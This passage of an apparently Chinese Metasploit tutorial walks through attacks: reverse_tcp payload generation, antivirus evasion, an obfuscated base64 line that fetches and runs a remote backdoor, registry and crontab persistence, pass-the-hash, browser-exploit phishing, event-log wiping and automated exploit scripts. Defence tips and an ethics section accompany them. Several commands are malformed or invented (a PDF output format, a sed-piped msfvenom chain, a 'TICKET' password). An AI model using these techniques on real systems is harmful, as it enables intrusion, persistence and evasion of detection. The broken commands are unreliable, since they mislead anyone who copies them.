                • 在VBA代码中插入无用字符串或压缩代码段。

              八、防御与检测规避策略

              1. 绕过杀毒软件技术
              • 编码器(Encoders)
                • 攻击者可使用多层编码技术对恶意程序进行编码。
                • 规避杀毒软件的特征码检测。
                • 例如,使用x86/shikata_ga_nai编码器进行多次编码。
              • 加密通信
                • 通过加密通信技术(如reverse_https)。
                • 隐藏恶意流量的真实内容。
                • 规避杀毒软件的深度包检测。
              2. 绕过防火墙策略
              • 端口转发
                • 攻击者可通过端口转发技术绕过防火墙限制。
                • 访问内部网络服务。
                • 例如,使用SSH端口转发将公网请求转发到内网目标主机上。
              • 应用层协议欺骗
                • 伪装成合法的应用层协议(如HTTPS)。
                • 绕过防火墙的检测规则。
                • 实现恶意流量的传输。

              九、自动化与脚本编写进阶

              1. Metasploit API(Ruby脚本)高级应用
              • 模块动态加载
                • 攻击者可通过Ruby脚本动态加载Metasploit模块。
                • 配置参数执行攻击。
                • 例如,使用framework.modules.create方法创建漏洞利用模块。
                • 设置目标主机IP地址。
              • 会话管理
                • 通过Ruby脚本管理已建立的会话。
                • 查看会话信息、执行命令或迁移进程。
              2. Resource Script(.rc文件)实战
              • 批量攻击脚本
                • 攻击者可编写.rc文件批量执行攻击任务。
                • 如漏洞扫描、Payload生成与发送。
                • 通过msfconsole -r auto_attack.rc命令执行脚本。
                • 实现自动化渗透测试。
              • 联动Nmap扫描
                • .rc文件中集成Nmap扫描命令。
                • 自动化方式发现目标网络中的开放端口与服务。
                • 为后续攻击提供有力支持。

              十、案例分析:企业内网渗透全流程

              1. 攻击者完整攻击链
              • 信息收集阶段
                • 攻击者使用Nmap扫描目标网络,发现开放端口与服务。
                • 通过社会工程学手段收集目标邮箱等敏感信息。
              • 漏洞利用阶段
                • 针对发现的漏洞(如MS16-032),攻击者生成Payload并执行。
                • 获取目标系统的shell权限。
              • 后渗透操作
                • 攻击者提升权限至SYSTEM。
                • 收集敏感信息(如密码哈希、票据等)。
                • 通过计划任务或注册表自启动实现持久化控制。
              • 横向移动阶段
                • 利用获取的凭证(如NTLM哈希、Kerberos票据)。
                • 访问其他内部系统,扩大控制范围。
              2. 防御加固方案
              • 补丁管理
                • 及时安装微软、Linux等厂商发布的补丁。
                • 修复已知漏洞。
              • 网络隔离
                • 通过VLAN划分、防火墙规则等手段隔离不同网络区域。
                • 限制横向移动。
              • 终端防护
                • 部署EDR解决方案。
                • 监控终端行为,及时发现并阻止恶意活动。
              • 安全意识培训
                • 加强员工安全意识培训。
                • 提高防范社会工程学攻击的能力。
                • 例如,定期组织钓鱼邮件演练。

              十一、Metasploit高级模块开发(续)

              3. 自定义Auxiliary模块
              • 模块结构

                • Auxiliary模块用于执行扫描、嗅探、密码破解等辅助任务。
                • 模块必须实现initializeset_configrun方法。
              • 示例代码(端口扫描)

                ruby

                require 'msf/core'class MetasploitModule < Msf::Auxiliary
                Rank = NormalRankingdef initialize(info = {})
                super(update_info(info,
                'Name' => 'Custom Port Scanner',
                'Description' => %q{
                This module scans a target host for open ports.
                },
                'Author' => ['Your Name'],
                'License' => MSF_LICENSE,
                'References' =>
                [
                ['URL', 'https://example.com/custom-port-scanner']
                ]))register_options(
                [
                Opt::RHOST('192.168.1.100'),
                OptInt.new('PORTS', [true, 'Ports to scan (e.g., 21-25,80,443)', '1-1024'])
                ])
                enddef set_config
                # 配置模块参数(如RHOST、PORTS等)
                enddef run
                # 端口扫描代码(如使用Socket库尝试连接)
                print_status("Scanning #{datastore['RHOST']} for open ports...")
                ports = datastore['PORTS'].split(',').map { |p| p.split('-').map(&:to_i) }.flatten
                ports.each do |port|
                begin
                socket = Socket.new(:INET, :STREAM)
                sockaddr = Socket.pack_sockaddr_in(port, datastore['RHOST'])
                socket.connect(sockaddr)
                print_good("Port #{port} is open")
                rescue
                # 端口关闭或无法连接
                end
                end
                end
                end

              • 关键方法

                • initialize:初始化模块信息(如名称、描述、作者等)。
                • set_config:配置模块参数(如目标IP、端口范围等)。
                • run:执行辅助任务的核心代码(如端口扫描、密码破解等)。
              • 调试与测试

                • 使用msfconsole -r custom_auxiliary.rc加载自定义模块。
                • run方法中添加print_statusprint_error语句输出调试信息。
                • 使用tcpdumpWireshark捕获网络流量,观察扫描行为。
              4. 自定义Post模块
              • 模块结构

                • Post模块用于后渗透操作,如权限提升、信息收集、持久化控制等。
                • 模块必须实现initializeset_configrun方法。
              • 示例代码(信息收集)

                ruby

                require 'msf/core'class MetasploitModule < Msf::Post
                Rank = NormalRankingdef initialize(info = {})
                super(update_info(info,
                'Name' => 'Custom Information Gatherer',
                'Description' => %q{
                This module gathers information about the target system.
                },
                'Author' => ['Your Name'],
                'License' => MSF_LICENSE,
                'Platform' => ['linux', 'windows'],
                'SessionTypes' => ['meterpreter']))
                enddef set_config
                # 配置模块参数(如SESSION等)
                enddef run
                # 信息收集代码(如获取系统信息、用户列表、网络配置等)
                print_status("Gathering system information...")
                sysinfo = client.sys.config.sysinfo
                print_good("OS: #{sysinfo['OS']}")
                print_good("Architecture: #{sysinfo['Architecture']}")
                print_good("Meterpreter: #{sysinfo['Meterpreter']}")print_status("Listing users...")
                users = client.sys.config.getuid
                print_good("Current user: #{users}")print_status("Listing network interfaces...")
                interfaces = client.sys.config.ifconfig
                interfaces.each do |interface|
                print_good("Interface: #{interface['name']}, IP: #{interface['addresses'].find { |addr| addr['family'] == 'inet' }['addr']}")
                end
                end
                end

              • 关键方法

                • initialize:初始化模块信息(如名称、描述、作者、目标平台等)。
                • set_config:配置模块参数(如SESSION等)。
                • run:执行后渗透操作的核心代码(如信息收集、权限提升等)。
              • 调试与测试

                • 在Meterpreter会话中执行自定义Post模块(如run post/linux/custom_info_gatherer)。
                • run方法中添加print_statusprint_error语句输出调试信息。
                • 使用sysinfogetuid等Meterpreter命令验证收集到的信息。

              十二、高级后渗透技术(续)

              2. 持久化控制(续)
              • Windows注册表自启动

                bash

                reg enumkey -k "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
                reg setval -k "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" -v "SecurityUpdate" -d 'C:\Windows\Temp\backdoor.exe'

              • Linux Crontab持久化

                bash

                echo "@reboot /usr/local/bin/backdoor" >> /etc/crontab

              3. 横向移动(续)
              • Windows Pass-The-Hash(PTH)

                bash

                use exploit/windows/smb/psexec
                set SMBUser Administrator
                set SMBHash 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
                set RHOSTS 192.168.1.100
                exploit

              • Windows Pass-The-Ticket(PTT)

                bash

                use exploit/windows/smb/psexec
                set SMBDomain WORKGROUP
                set SMBUser Administrator
                set SMBPass 'TICKET:...'
                set RHOSTS 192.168.1.100
                exploit

              十三、社会工程学与Metasploit结合(续)

              3. 生成恶意PDF文档
              • 使用msfvenom

                bash

                msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f pdf > malicious_document.pdf

              4. 生成恶意链接(钓鱼)
              • 使用set模块

                bash

                use auxiliary/server/browser_autopwn2
                set LHOST 192.168.1.101
                set LPORT 4444
                set URIPATH /
                set PAYLOAD windows/meterpreter/reverse_tcp
                exploit

              十四、防御与检测规避(续)

              3. 绕过应用白名单
              • 使用shikata_ga_nai编码器

                bash

                msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe > encoded_payload.exe

              • 使用AppLocker绕过技巧

                • 将Payload嵌入到合法文件(如regsvr32.exe)中执行。
                • 使用InstallUtil执行.NET程序集。
              4. 绕过行为检测
              • 使用sleep命令
                • 在Payload中添加sleep指令,延迟恶意行为执行。
                • 示例:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f c | sed 's/VirtualAlloc/Sleep(10000); VirtualAlloc/g' | msfvenom -p - -a x86 --platform windows -f exe > delayed_payload.exe
              • 使用Obfuscated Commands
                • 将Meterpreter命令编码为Base64或十六进制,通过cmd.exepowershell.exe执行。
                • 示例:echo Y3VybCBodHRwOi8vMTkyLjE2OC4xLjEwMS9iYWNrZG9vcjsgLi9iYWNrZG9vcg== | base64 -d | cmd

              十五、自动化与脚本编写(续)

              3. 使用Metasploit API(Python脚本)
              • 示例代码

                python

                from metasploit.msfrpc import MsfRpcClient# 连接到Metasploit RPC服务
                client = MsfRpcClient('password', port=55552)# 创建Exploit模块
                exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')# 配置模块参数
                exploit['RHOSTS'] = '192.168.1.100'# 执行攻击
                exploit.execute(payload='linux/x86/meterpreter/reverse_tcp', payload_opts={'LHOST': '192.168.1.101', 'LPORT': 4444})# 获取会话ID
                session_id = exploit.session# 切换到会话
                session = client.sessions.session(session_id)# 执行Meterpreter命令
                print(session.sys.config.sysinfo)

              4. 编写Resource Script(.rc文件)
              • 示例代码(auto_exploit.rc)

                use exploit/unix/ftp/vsftpd_234_backdoor
                set RHOSTS 192.168.1.100
                set PAYLOAD linux/x86/meterpreter/reverse_tcp
                set LHOST 192.168.1.101
                set LPORT 4444
                exploit
              • 执行脚本

                bash

                msfconsole -r auto_exploit.rc

              十六、案例分析(续)

              2. 高级持续性威胁(APT)模拟
              • 攻击者思路
                • 信息收集:使用Nmap、Masscan等工具扫描目标网络,发现开放端口和服务。
                • 漏洞利用:针对发现的漏洞(如vsftpd_234_backdoor、MS17-010)生成Payload并执行,获取初始访问权限。
                • 后渗透操作:提升权限、收集信息、持久化控制(如创建计划任务、修改注册表)。
                • 横向移动:利用获取的凭证(如密码哈希、票据)访问其他内部系统,扩大攻击范围。
                • 数据窃取:使用Meterpreter的download命令或自定义脚本窃取敏感数据。
                • 清理痕迹:使用clearev清除事件日志,删除上传的文件和进程,避免被发现。
              • 防御建议
                • 网络分段:将网络划分为多个安全区域,限制横向移动。
                • 最小权限原则:为每个用户和系统分配必要的最小权限。
                • 定期审计:定期检查系统日志、注册表、计划任务等,发现异常行为。
                • 员工培训:提高员工的安全意识,防范社会工程学攻击(如钓鱼邮件、恶意链接)。
                • 部署EDR/XDR:使用终端检测与响应(EDR)或扩展检测与响应(XDR)解决方案,实时监控和响应高级威胁。

              十七、Metasploit与其他工具集成

              1. Metasploit与Nmap集成
              • 使用Nmap扫描网络

                bash

                nmap -sS -sV -O 192.168.1.0/24 -oX nmap_scan.xml

              • 将Nmap结果导入Metasploit数据库

                bash

                db_import nmap_scan.xml
              • 在Metasploit中使用Nmap结果

                bash

                hosts # 列出所有扫描到的主机
                services # 列出所有开放的服务
              2. Metasploit与Wireshark集成
              • 捕获网络流量
                • 使用Wireshark捕获Metasploit攻击流量的网络接口。
              • 分析Payload和通信
                • 在Wireshark中过滤Metasploit的通信(如tcp.port == 4444)。
                • 分析Payload的编码、加密和传输方式。
              3. Metasploit与Burp Suite集成
              • 配置Burp Suite代理

                • 在Burp Suite中设置代理监听(如127.0.0.1:8080)。
              • 配置Metasploit使用Burp Suite代理

                bash

                setg Proxies 127.0.0.1:8080 # 设置全局代理
              • 拦截和修改请求

                • 在Burp Suite中拦截Metasploit生成的请求,修改参数或Payload。

              十八、Metasploit最佳实践

              1. 渗透测试流程
              • 信息收集
                • 使用Nmap、Masscan等工具扫描目标网络。
                • 使用搜索引擎、社交媒体等公开来源收集信息。
              • 漏洞分析
                • 使用OpenVAS、Nessus等漏洞扫描器识别漏洞。
                • 手动验证漏洞的真实性和可利用性。
              • 漏洞利用
                • 选择合适的Exploit模块和Payload。
                • 配置模块参数,执行攻击。
              • 后渗透操作
                • 提升权限、收集信息、持久化控制。
                • 横向移动,扩大攻击范围。
              • 报告编写
                • 记录测试过程、发现的漏洞、利用方法和修复建议。
                • 使用Metasploit的报告生成功能(如msfreport)。
              2. 法律与道德准则
              • 遵守法律法规
                • 仅在授权范围内进行渗透测试。
                • 禁止用于非法用途,如窃取数据、破坏系统等。
              • 明确测试范围
                • 与委托方签订正式合同,明确测试目标、时间、方法和报告要求。
                • 遵守委托方的安全政策和规定。
              • 最小化损害
                • 避免对目标系统造成不必要的损害,如数据泄露、服务中断等。
                • 在测试前对目标系统进行完整备份。
              3. 安全操作规范
              • 使用虚拟机环境
                • 在隔离的虚拟机(如VMware、VirtualBox)中进行测试。
                • 避免影响物理机和其他虚拟机。
              • 禁用危险模块
                • 通过msfconsole-q参数跳过欢迎信息,或使用-x参数执行初始化脚本(如禁用自动运行模块)。
              • 清理测试痕迹
                • 测试完成后,使用clearev清除事件日志。
                • 删除上传的文件和进程,避免被发现。

              十九、真实渗透测试案例(续)

              3. Web应用渗透测试案例
              • 攻击者思路
                • 信息收集:使用Nmap扫描目标Web服务器的开放端口和服务。
                • 漏洞利用:针对发现的Web漏洞(如SQL注入、XSS、文件上传)生成Payload并执行。
                • 后渗透操作:获取Webshell,提升权限,收集敏感数据。
                • 横向移动:利用获取的凭证访问数据库服务器或其他内部系统。
              • 防御建议
                • 输入验证:对用户输入进行严格的验证和过滤。
                • 输出编码:对输出到页面的内容进行适当的编码。
                • 使用Web应用防火墙(WAF):部署WAF检测和阻止Web攻击。
                • 定期安全审计:对Web应用进行定期的安全审计和漏洞扫描。

              二十、高级持续性威胁(APT)模拟(续)

              • 攻击者思路
                • 长期潜伏:使用持久化控制技术(如计划任务、注册表自启动)保持对目标系统的长期访问。
                • 数据窃取:定期窃取敏感数据,如用户凭证、商业机密等。
                • 横向移动:利用获取的凭证访问其他内部系统,扩大攻击范围。
                • 隐蔽通信:使用加密通信和隐蔽通道(如DNS隧道、ICMP隧道)避免被发现。
              • 防御建议
                • 网络监控:部署网络监控和入侵检测系统(IDS/IPS)实时监测异常流量和行为。
                • 终端保护:使用终端检测与响应(EDR)解决方案实时监控和响应终端上的异常行为。
                • 日志分析:定期分析系统日志、安全日志和应用程序日志,发现异常登录、数据访问等行为。
                • 员工培训:提高员工的安全意识,防范社会工程学攻击(如钓鱼邮件、恶意链接)。

              相关文章:

              Day 0015:Metasploit 基础解析

              目录 一、理论学习&#xff08;Metasploit 架构与核心组件&#xff09; 一、架构设计&#xff1a;分层与模块化 基础层&#xff08;Ruby 框架&#xff09;&#xff1a; 核心层&#xff08;模块引擎&#xff09;&#xff1a; 接口层&#xff08;交互界面&#xff09;&#…...

              相机标定与图像处理涉及的核心坐标系

              坐标系相互关系 #mermaid-svg-QxaMjIcgWVap0awV {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-QxaMjIcgWVap0awV .error-icon{fill:#552222;}#mermaid-svg-QxaMjIcgWVap0awV .error-text{fill:#552222;stroke:#552…...

              单例模式的运用

              单例模式实现分析 在我们的向量数据库配置类 MilvusVectorDatabaseConfig 中&#xff0c;采用了单例模式的实现方式&#xff0c;这是一种非常经典且实用的设计模式。 饿汉式单例实现 这种实现方式属于饿汉式单例模式&#xff0c;它的优点在于&#xff1a; // 在类加载时就创…...

              PageHelper分页原理解析:从源码到MySQL方言实现

              一、引言 分页查询是Web开发的必备功能&#xff0c;MyBatis生态中的PageHelper以其简单易用的特性广受欢迎。本文将从源码层面&#xff08;v5.3.2&#xff09;解析PageHelper的分页实现机制&#xff0c;结合MySQL方言展示完整的执行链路。 二、核心实现原理 1. 插件初始化 …...

              MySQL中索引最左前缀法则、索引失效情况、前缀索引、索引设计原则

              最左前缀法则 联合索引中&#xff0c;最左前缀法则指的是查询从索引的最左列开始&#xff0c;并且不跳过索引中的列&#xff0c;如果跳跃某一列&#xff0c;索引将会部分失效&#xff08;后面的字段索引失效&#xff09;举例假设有一个联合索引包含三个字段按顺序&#xff1a;…...

              pdf图片导出(Visio和Origin)

              一、Visio 导入pdf格式图片 1. 设计->大小&#xff0c;适应绘图。 2. 文件->导出&#xff0c;导出为pdf格式。 上面两部即可得到只包含图的部分的pdf格式。 如果出现的有默认白边&#xff0c;可以通过以下方式设置&#xff1a; 1. 文件->选项->自定义功能区->…...

              NR 通讯的整体架构

              前言&#xff1a; 并假设发射器发送了一个信号&#xff0c;如左下角所示&#xff08;蓝色&#xff09;&#xff0c;接收器检测到的信号显示在右侧&#xff08;红色&#xff09;。您在图中注意到的第一件事是什么&#xff1f;那就是发送的信号和接收的信号并不完全相同。 有什么…...

              【大模型面试每日一题】Day 26:从伦理角度,大模型可能存在哪些潜在风险?技术上如何实现内容安全控制(如RLHF、红队测试)?

              【大模型面试每日一题】Day 26&#xff1a;从伦理角度&#xff0c;大模型可能存在哪些潜在风险&#xff1f;技术上如何实现内容安全控制&#xff08;如RLHF、红队测试&#xff09;&#xff1f; &#x1f4cc; 题目重现 &#x1f31f;&#x1f31f; 面试官:从伦理角度&#xf…...

              第六届电子通讯与人工智能国际学术会议(ICECAI 2025)

              在数字化浪潮中&#xff0c;电子通讯与人工智能的融合正悄然重塑世界的运行逻辑。技术基础的共生关系是这场变革的核心——电子通讯如同“信息高速公路”&#xff0c;通过5G等高速传输技术&#xff0c;将海量数据实时输送至AI系统&#xff0c;使其能够像人类神经系统般快速响应…...

              深入剖析 5G 核心网中的 PLMN

              一、引言 在 5G 技术迅猛发展的当下,5G 核心网作为整个通信系统的关键枢纽,支撑着海量数据传输、低延迟通信以及多样化业务应用。其中,公共陆地移动网络(Public Land Mobile Network,PLMN)扮演着极为重要的角色,它是 5G 核心网实现用户接入、网络管理以及业务提供的基础…...

              佰力博科技与您探讨半导体电阻测试常用的一些方法

              一、两探针法​ 两探针法是一种较为基础的测试方法。该方法将两根探针与半导体样品表面紧密接触&#xff0c;通过电源在两根探针之间施加电压&#xff0c;同时使用电流表测量通过样品的电流&#xff0c;再根据欧姆定律计算电阻。​这种方法的优点在于操作简单、设备要求较低&a…...

              5G 核心网中的 NPN 功能详解

              引言 在 5G 技术飞速发展的今天,5G 核心网不断演进,为各类应用场景提供强大支撑。其中,NPN(Non-Public Network,非公共网络)功能作为 5G 核心网的重要特性,正逐渐崭露头角,在众多行业中发挥着关键作用。它为特定用户或组织打造专属网络环境,满足其对网络性能、安全性…...

              谷歌medgemma-27b-text-it医疗大模型论文速读:多语言大型语言模型医学问答基准测试MedExpQA

              《MedExpQA: 多语言大型语言模型医学问答基准测试》论文解析 一、引言 论文开篇指出大型语言模型&#xff08;LLMs&#xff09;在医学领域的巨大潜力&#xff0c;尤其是在医学问答&#xff08;QA&#xff09;方面。尽管LLMs在医学执照考试等场景中取得了令人瞩目的成绩&#…...

              # 深入解析BERT自然语言处理框架:原理、结构与应用

              深入解析BERT自然语言处理框架&#xff1a;原理、结构与应用 在自然语言处理&#xff08;NLP&#xff09;领域&#xff0c;BERT&#xff08;Bidirectional Encoder Representations from Transformers&#xff09;框架的出现无疑是一个重要的里程碑。它凭借其强大的语言表示能…...

              js中encodeURIComponent函数使用场景

              encodeURIComponent 是 JavaScript 中的一个内置函数&#xff0c;它的作用是&#xff1a; 将字符串编码为可以安全放入 URL 的形式。 ✅ 为什么需要它&#xff1f; URL 中有一些字符是有特殊意义的&#xff0c;比如&#xff1a; ? 用来开始查询参数 & 分隔多个参数 连接…...

              【NLP 77、Python环境管理工具之conda】

              如果你第一万次否定自己&#xff0c;那我希望我可以一万零一次大声称赞你 —— 25.5.22 一、什么是conda conda是一个开源的包管理系统和环境管理系统&#xff0c;主要用于Python语言&#xff0c;但也可以用于其它语言的项目 二、为什么要使用conda ① 多环境共存&#xff0c;多…...

              替代云数据库的本地方案:MySQL+phpMyAdmin的远程管理与跨网络访问技术

              文章目录 前言1. 安装MySQL2. 安装phpMyAdmin3. 修改User表4. 本地测试连接MySQL5. 安装cpolar内网穿透6. 配置MySQL公网访问地址7. 配置MySQL固定公网地址8. 配置phpMyAdmin公网地址9. 配置phpmyadmin固定公网地址 前言 对于运维来说&#xff0c;平时还好&#xff0c;一旦出门…...

              Dify大语言模型应用开发环境搭建:打造个性化本地LLM应用开发工作台

              文章目录 前言1. Docker部署Dify2. 本地访问Dify3. Ubuntu安装Cpolar4. 配置公网地址5. 远程访问6. 固定Cpolar公网地址7. 固定地址访问 前言 各位小伙伴们&#xff0c;大家好&#xff01;今天我们要来一场技术大冒险&#xff0c;手把手教你如何在Linux Ubuntu系统上使用Docke…...

              MySQL索引事务

              索引 通过索引可以对查询操作进行优化&#xff0c;通过减少全表扫描&#xff0c;快速定位数据&#xff0c;原本的查询操作是对表进行遍历&#xff0c;如果是大表效率较低 1&#xff09;注意事项 占用了更多的空间&#xff0c;由于生成索引需要依赖于数据结构和额外数据&…...

              Seay代码审计工具

              Seay代码审计工具 介绍 Seay代码审计工具是一款由国内安全研究人员"Seay"开发的源代码安全审计工具&#xff0c;主要用于帮助安全人员快速发现PHP代码中的安全漏洞&#xff0c;快速定位代码中的安全风险点。 主要功能特点 自动化审计功能 支持自动扫描PHP代码中的…...

              【人工智障生成日记1】从零开始训练本地小语言模型

              &#x1f3af; 从零开始训练本地小语言模型&#xff1a;MiniGPT TinyStories&#xff08;4090Ti&#xff09; &#x1f9ed; 项目背景 本项目旨在以学习为目的&#xff0c;从头构建一个完整的本地语言模型训练管线。目标是&#xff1a; ✅ 不依赖外部云计算✅ 完全本地运行…...

              技术分享:大数据挖掘平台架构设计与行业应用实践

              在数字化转型浪潮下&#xff0c;企业数据规模呈指数级增长。如何构建高效的数据挖掘体系&#xff0c;实现数据价值变现&#xff0c;成为技术团队面临的重要课题。本文将深入探讨大数据挖掘平台的核心架构、关键技术及行业应用实践。 一、平台架构设计 1. 数据采集层 支持多源异…...

              线性Wi-Fi FEM被卷死,非线性FEM是未来?

              在跑了一圈路由器客户之后&#xff0c;我的内心反而平静下来&#xff0c;被卷死的不只是Wi-Fi FEM赛道&#xff0c;还有家用路由器市场。 尽管路由器市场比较惨淡&#xff0c;不过客户还是很愿意接见我&#xff0c;并做更广泛的交流和探讨。一方面之前推Wi-Fi FEM的众多厂商在渐…...

              OpenCV CUDA模块图像过滤------用于创建一个最小值盒式滤波器(Minimum Box Filter)函数createBoxMinFilter()

              操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 该函数创建的是一个 最小值滤波器&#xff08;Minimum Filter&#xff09;&#xff0c;它对图像中每个像素邻域内的像素值取最小值。常用于&…...

              【MySQL】06.MySQL表的增删查改

              1. insert 我们先创建一个表结构&#xff0c;这部分操作我们使用这张表完成我们的操作&#xff1a; mysql> create table student(-> id int primary key auto_increment,-> name varchar(20) not null,-> qq varchar(20) unique-> ); Query OK, 0 rows affec…...

              MySQL 索引失效及其解决办法

              一、前言 在数据库优化中,索引(Index)是一项至关重要的技术手段,可以显著提升查询性能。然而,在实际开发过程中,MySQL 索引并不总是如预期生效。本文将从原理出发,系统地介绍索引失效的常见场景及其解决方案,帮助开发者有效规避性能陷阱。 二、索引基础回顾 MySQL 支…...

              在线时间戳(Unix TimeStamp)转换器

              做了一个在线时间戳转换器&#xff0c;简单、好用&#xff0c;提供多种日期格式。 移动端友好。 目标是做一套在线工具集&#xff0c;时间戳转换只是第一步。 欢迎试用...

              flutter 项目调试、flutter run --debug调试模式 devtools界面说明

              Flutter DevTools 网页界面说明 1. 顶部导航栏 Inspector&#xff1a;查看和调试 Widget 树&#xff0c;实时定位 UI 问题。Performance-- 性能分析面板&#xff0c;查看帧率、CPU 和 GPU 使用情况&#xff0c;识别卡顿和性能瓶颈。Memory-- 内存使用和对象分配分析&#xff…...

              Qt C++实现马的遍历问题

              在这个项目中,我们面对的是一个基于中国象棋的马的遍历问题,使用了C++编程语言,并结合了Qt5库来实现图形界面和棋盘的绘制。以下是这个项目涉及的关键知识点: 马的移动规则:马在象棋中具有独特的“日”字形移动方式,即每次可以向前、后、左或右移动一格,然后在同一行或同…...

              web第六次课后作业--使用ApiFox实现请求响应操作

              一、实体参数 1.1 简单实体参数 1.2 复杂实体对象 如果请求参数比较多&#xff0c;通过上述的方式一个参数一个参数的接收会比较繁琐。此时&#xff0c;我们可以考虑将请求参数封装到一个实体类对象中。 要想完成数据封装&#xff0c;需要遵守如下规则&#xff1a;请求参数名…...

              第十周作业

              一、CSRF 1、DVWA-High等级 2、使用Burp生成CSRF利用POC并实现攻击 二、SSRF&#xff1a;file_get_content实验&#xff0c;要求获取ssrf.php的源码 三、RCE 1、 ThinkPHP 2、 Weblogic 3、Shiro...

              Excel合并单元格后,如何自动批量生成序号列

              1.选择整列 2.组合键&#xff1a;CtrlG 3.定位条件&#xff0c;选择“空值” 4.在第一个框中输入“MAX(”&#xff0c;鼠标选中A1框&#xff0c;后加“&#xff1a;”&#xff0c;鼠标选中前方“A1”&#xff0c;按“F4”绝对引用&#xff0c;补全右括号&#xff0c;后输入“1…...

              数据结构 -- B树和B+树

              B树 B树 5叉查找树 最少1个关键字&#xff0c;2个分叉 最多4个关键字&#xff0c;5个分叉 如何保证查找效率 &#xff08;1&#xff09;eg.对于5叉排序树&#xff0c;规定除了根节点外&#xff0c;任意结点都至少有3个分叉&#xff0c;2个关键字 &#xff08;若每个结点内关…...

              el-table高度自适应、数据查询后高度展示错误问题

              在很多场景中我们需要实现表格的高度自适应&#xff0c;即不同屏幕大小下需要使用不同的高度来设置表格&#xff0c;那么我们应该如何实现呢&#xff1f; 1.el-table实现高度自适应 通过以下代码可以实现表格根据屏幕进行自适应 设置表格的高度 <el-table ref"tableD…...

              unittest

              1.什么是unittest&#xff1f; unittest是Python自带的一个单元测试框架, 它可以做单元测试, 也能用于编写和运行重复的测试工作。它给自动化测试用例开发和执行提供了丰富的断言方法, 判断测试用例是否通过, 并最终生成测试结果. 2.unittest组成 2.1 TestCase TestCase即测试…...

              【Linux学习笔记】ext2文件系统的深度剖析

              【Linux学习笔记】ext2文件系统的深度剖析 &#x1f525;个人主页&#xff1a;大白的编程日记 &#x1f525;专栏&#xff1a;Linux学习笔记 文章目录 【Linux学习笔记】ext2文件系统的深度剖析前言一.ext2文件系统1.1宏观认识 二. Block Group三. 块组内部构成3.1 超级块&am…...

              Vue 3 官方 Hooks 的用法与实现原理

              Vue 3 引入了 Composition API&#xff0c;使得生命周期钩子&#xff08;hooks&#xff09;在函数式风格中更清晰地表达。本篇文章将从官方 hooks 的使用、实现原理以及自定义 hooks 的结构化思路出发&#xff0c;全面理解 Vue 3 的 hooks 系统。 &#x1f4d8; 1. Vue 3 官方生…...

              通过现代数学语言重构《道德经》核心概念体系,形成一个兼具形式化与启发性的理论框架

              以下是对《道德经》的数学转述尝试&#xff0c;通过现代数学语言重构其核心概念&#xff0c;形成一个兼具形式化与启发性的理论框架&#xff1a; 0. 基础公理体系 定义&#xff1a; 《道德经》是一个动态宇宙模型 U(D,V,Φ)&#xff0c;其中&#xff1a; D 为“道”的无限维…...

              openai-whisper-asr-webservice接入dify

              openai-whisper-asr-webservice提供的asr的api其实并不兼容openai的api&#xff0c;所以在dify中是不能直接添加到语音转文字的模型中&#xff0c;对比了下两个api的传参情况&#xff0c;其实只要改动一处&#xff0c;就能支持&#xff1a; openai兼容的asr调用中formdata中音频…...

              曾经在知乎上看到一个回答:“入职做FPGA,后续是否还可以转数字IC设计?”

              曾经在知乎上看到一个回答&#xff1a;“入职做FPGA&#xff0c;后续是否还可以转数字IC设计&#xff1f;” 对比FPGA的行业薪资水平&#xff0c;数字IC行业中的一些基础性岗位薪资比FPGA要高一些。 除了薪资之外&#xff0c;更多FPGA开发者考虑转向数字IC设计的原因如下&…...

              第4周_作业题_逐步构建你的深度神经网络

              文章目录 ***逐步构建你的深度神经网络***0. 背景0.1 要解决的问题0.2 作业大纲0.3 构建深层神经网络步骤 1. 导入包2. 初始化参数2.1 2层神经网络2.2 L层神经网络 3. 前项传播函数3.1 前项传播步骤3.2 线性前向3.3 线性激活部分3.4 L层前项传播模型3.5 计算成本 4. 反向传播模…...

              Linux 搭建FTP服务器(vsftpd)

              搭建FTP服务器(vsftpd)&#xff1a; 文章目录 搭建FTP服务器(vsftpd)&#xff1a;配置镜像安装vsftpd配置vsftpd关闭SELinux&#xff1a;配置防火墙启动vsfptd服务并设置开机自启创建FTP用户测试windows中测试Linux测试下载get/mget上传put/mput删除文件delete 搭建SCP服务器(基…...

              AWS中国区中API Gateway中403的AccessDeniedException问题

              问题 在互联网使用API Gateway的域名访问接口&#xff0c;出现403问题AccessDeniedException。具体如下&#xff1a; 前提 这里API Gateway相关配置都没有问题。而且&#xff0c;vpc内网都能访问被代理的服务。这里api gateway不需要使用自定义域名。 解决 向客服发个工单…...

              计量单片机 RN8302:特性、使用与应用

              在现代电力监测与能源管理领域&#xff0c;精确的电能计量至关重要。计量单片机 RN8302 作为一款高性能的电能计量芯片&#xff0c;凭借其卓越的特性与功能&#xff0c;在众多应用场景中发挥着关键作用。本文将全面深入地介绍 RN8302 的各项特性、使用方法、注意事项以及广泛的…...

              Flutter生物识别认证之Flutter指纹认证Flutter人脸认证

              Flutter介绍&#xff1a; Flutter是谷歌开发的开源UI软件开发工具包&#xff0c;用于高效构建跨平台的应用程序&#xff0c;支持iOS、Android、Web、Windows、macOS和Linux。它使用Dart语言编写&#xff0c;提供了丰富的组件和工具&#xff0c;使开发者能够创建高质量、高性能…...

              了解Android studio 初学者零基础推荐(2)

              在kotlin中编写条件语句 if条件语句 fun main() {val trafficLight "gray"if (trafficLight "red") {println("Stop!")} else if (trafficLight "green") {println("go!")} else if (trafficLight "yellow")…...

              【Java Web】1.Maven

              &#x1f4d8;博客主页&#xff1a;程序员葵安 &#x1faf6;感谢大家点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb; 文章目录 一、初始Maven 1.1 什么是Maven 1.2 Maven的作用 二、Maven概述 2.1 Maven模型 2.2 Maven仓库 2.3 创建Maven项目 2.4 POM配置…...

              【Spark集成HBase】Spark读写HBase表

